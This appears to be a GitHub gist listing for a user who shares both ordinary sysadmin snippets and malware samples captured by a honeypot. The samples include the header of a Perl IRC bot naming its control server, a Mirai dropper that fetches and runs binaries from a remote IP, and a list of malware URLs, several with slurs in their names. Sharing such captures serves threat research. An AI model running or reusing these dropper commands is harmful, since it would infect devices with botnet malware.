Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View prafiles's full-sized avatar
🏠
Working from home

Prakhar Shukla prafiles

🏠
Working from home
View GitHub Profile
@prafiles
prafiles / 49.212.234.206.perl
Created July 14, 2023 15:41
Malware scripts from Honeypot
#!/usr/bin/perl
my @mast3rs = ("w","Pula");
my @hostauth = ("w");
my @admchan=("#x");
my @server = ("49.212.234.206");
$servidor= $server[rand scalar @server] unless $servidor;
@prafiles
prafiles / 02-stacked-apparmor.conf
Created March 11, 2023 12:03
LXC Configuration to allow privileges inside container
# /usr/share/lxc/config/common.conf.d/02-stacked-apparmor.conf
# Clear this (as the main common.conf fills it with the capabilities below plus mac_admin and mac_override
lxc.cap.drop =
# Drop some harmful capabilities
lxc.cap.drop = sys_time sys_module sys_rawio
@prafiles
prafiles / docker-revert.sh
Created March 9, 2023 16:54
Pin Docker and related plugins till issue is fixed: https://github.com/docker/for-linux/issues/1129
#!/bin/sh
sudo apt-get install docker-ce=5:20.10.23~3-0~ubuntu-jammy docker-ce-cli=5:20.10.23~3-0~ubuntu-jammy containerd.io=1.6.18-1 docker-compose-plugin=2.16.0-1~ubuntu.22.04~jammy
sudo apt-mark hold docker-ce docker-ce-cli containerd.io docker-compose-plugin
perl -0777 -i -pi.bak -e 's/<pattern-line1>\n<pattern-line2>/<replace text>/g' `find . -name *.<extension>`
@prafiles
prafiles / arm64-foldingathome-docker-compose.yaml
Created January 25, 2023 23:47
Folding @ Home : ARM64 Docker Compose
version: '3'
services:
envoy:
container_name: foldingathome
restart: unless-stopped
image: beastob/foldingathome-arm64
environment:
- FOLD_USER=<username>
- FOLD_TEAM=0
- FOLD_PASSKEY=<passkey>
@prafiles
prafiles / mtu.sh
Last active January 18, 2023 11:55
Script to ascertain MTU
#!/bin/bash
size=1272
while ping -s $size -c1 -M do 8.8.8.8 >&/dev/null; do
((size+=4))
done
echo "Max MTU size: $((size-4+28))"
@prafiles
prafiles / plc4x-server.Dockerfile
Last active January 18, 2023 11:39
Dockerfile for PLC4X Family
FROM maven:3.8.7-eclipse-temurin-17-focal as builder
WORKDIR /app
RUN apt-get update && apt-get install git && \
git clone --depth 1 --branch v0.10.0 https://github.com/apache/plc4x.git
WORKDIR /app/plc4x
RUN mvn install
@prafiles
prafiles / mtr.sh
Created April 10, 2021 23:25
Sample Mirai Script
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.x86; curl -O http://109.104.151.108/mtro/mbot.x86;cat mbot.x86 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.mips; curl -O http://109.104.151.108/mtro/mbot.mips;cat mbot.mips >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.mpsl; curl -O http://109.104.151.108/mtro/mbot.mpsl;cat mbot.mpsl >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.arm4; curl -O http://109.104.151.108/mtro/mbot.arm4;cat mbot.arm4 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.arm5; curl -O http://109.104.151.108/mtro/mbot.arm5;cat mbot.arm5 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.
@prafiles
prafiles / list.txt
Created April 10, 2021 23:21
Cowrie Malware Downloads
# Sorted ascending on the basis of date. All other information has been removed.
http://185.10.68.211/Fourloko.sh
http://104.168.245.85/Heisenbergbins.sh
http://45.14.224.103/fuckjewishpeople.sh
http://51.178.218.149/x-8.6-.GHOUL
http://51.178.218.149/x-3.2-.GHOUL
http://104.168.245.85/fuckjewishpeople.sh
http://193.239.147.226/downloadthesebinsyoudirtyslut.x86
http://193.239.147.226/nigga
@prafiles
prafiles / fan_control.sh
Last active April 9, 2021 15:36
Onion Omega Fan Control
#To be located inside /root/fan_control of the filesystem
#!/bin/sh
/usr/sbin/relay-exp -i all 1
sleep 60
echo "Initialization of relays for fans done."
while :
do
echo "Switching to relay 0"